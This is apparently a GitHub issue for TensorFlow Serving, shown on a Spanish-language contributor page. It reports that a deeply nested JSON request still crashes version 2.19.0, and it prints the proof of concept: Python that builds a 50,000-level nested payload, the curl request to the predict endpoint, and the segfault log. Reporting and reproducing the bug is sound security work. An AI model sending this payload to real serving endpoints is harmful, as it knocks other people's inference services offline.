**CVE-2025-0649** - I think this issue still exists in version 2.19.0 - At least my lab suggests it is.
@jeelania10 ya está trabajando en esto.
Desde el 12/8/2026.
Evaluación
Este issue todavía no se ha evaluado.
Descripción
I am working on my book on adversarial AI: https://www.securitynik.com/2025/06/coming-soon-free-little-book-on.html and as part of that book I am talking about attacking the inference endpoint. As expected, version 2.18.0 of TF Serving is vulnerable to the JSON issue. We know this. However, when I try to show the mitigation is upgrading to 2.19.0, unfortunately this version also crashes.
Here is my code to create the file:
# Increase recurse_depth to 50_000
recurse_depth = 50_000
# Create a file on the file system
with open(file="/tmp/tf_serv_vuln.json", mode="w") as f:
# Write to the file
# This information should look similary to what you say earlier
f.write('{"instances": ' + ('[' * recurse_depth) + '0.5' + (']' * recurse_depth) + '}')
# verify the file has been created
!ls /tmp/tf_serv_vuln.json
Here is my curl command:
curl --request POST "http://localhost:8501/v1/models/vuln_tf_serv:predict" --header "Content-Type: application/json" --header "User-agent: securitynik_adversarial_ai_lab" --data-binary @/tmp/tf_serv_vuln.json
Here is the result to my curl command:
curl: (52) Empty reply from server
Here is the output from TF Serving console
[evhttp_server.cc : 261] NET_LOG: Entering the event loop ...
/usr/bin/tf_serving_entrypoint.sh: line 3: 7 Segmentation fault (core dumped) tensorflow_model_server --port=8500 --rest_api_port=8501 --model_name=${MODEL_NAME} --model_base_path=${MODEL_BASE_PATH}/${MODEL_NAME} "$@" ```
Here is my docker information:
sudo docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
tensorflow/serving 2.19.0 d871e064642e 2 months ago 729MB
here is also how I served the image:
``` sudo docker run --rm -p 8501:8501 --name=tfserving -v "/tmp/models/my_model:/models/vuln_tf_serv" -e MODEL_NAME=vuln_tf_serv tensorflow/serving:2.19.0```
Let me know if did something wrong on my end. Would love to know what I might have missed.
- Lenguaje dominante
- C++
- Estrellas
- 6.4k
- Forks
- 2.2k
- Métricas de merge de PR
- Sin PR fusionados en 30 d
Guía de contribución
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Más de tensorflow/serving
-
gpg key expired Abiertobug
Dificultad 4/5 3-5 días Aptitud para principiantes 38/100
tensorflow/serving#4150 · 1 comentario · 1 asignado ·
-
stat:awaiting tensorflower type:support
tensorflow/serving#4139 · 1 comentario · 1 asignado ·
-
stat:contributions welcome type:build/install
tensorflow/serving#4108 · 8 comentarios · 1 asignado ·
-
[Docs] Broken Links Abiertostat:contributions welcome type:docs
tensorflow/serving#2255 · 2 comentarios · 1 asignado ·
-
Critical Vulnerability Abiertostat:awaiting tensorflower
Dificultad 5/5 Más de una semana Aptitud para principiantes 15/100
tensorflow/serving#2206 · 3 comentarios ·
Todos los issues de tensorflow/serving
Issues similares
-
[CI] Nightly Clang build broken: structured binding captured in a lambda in FileDataSource.cpp Abiertobug build
Dificultad 1/5 Menos de una hora Aptitud para principiantes 91/100
facebookincubator/velox#19194 ·
-
JIT-compiled number -> Decimal conversion silently overflows instead of raising DECIMAL_OVERFLOW Abiertofuzz
Dificultad 2/5 1-3 horas Aptitud para principiantes 82/100
ClickHouse/ClickHouse#122114 ·
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 84/100
-
module/agent platform/macos type/bug/regression
Dificultad 2/5 1-3 horas Aptitud para principiantes 88/100
-
enhancement PyCDE
Dificultad 2/5 1-3 horas Aptitud para principiantes 78/100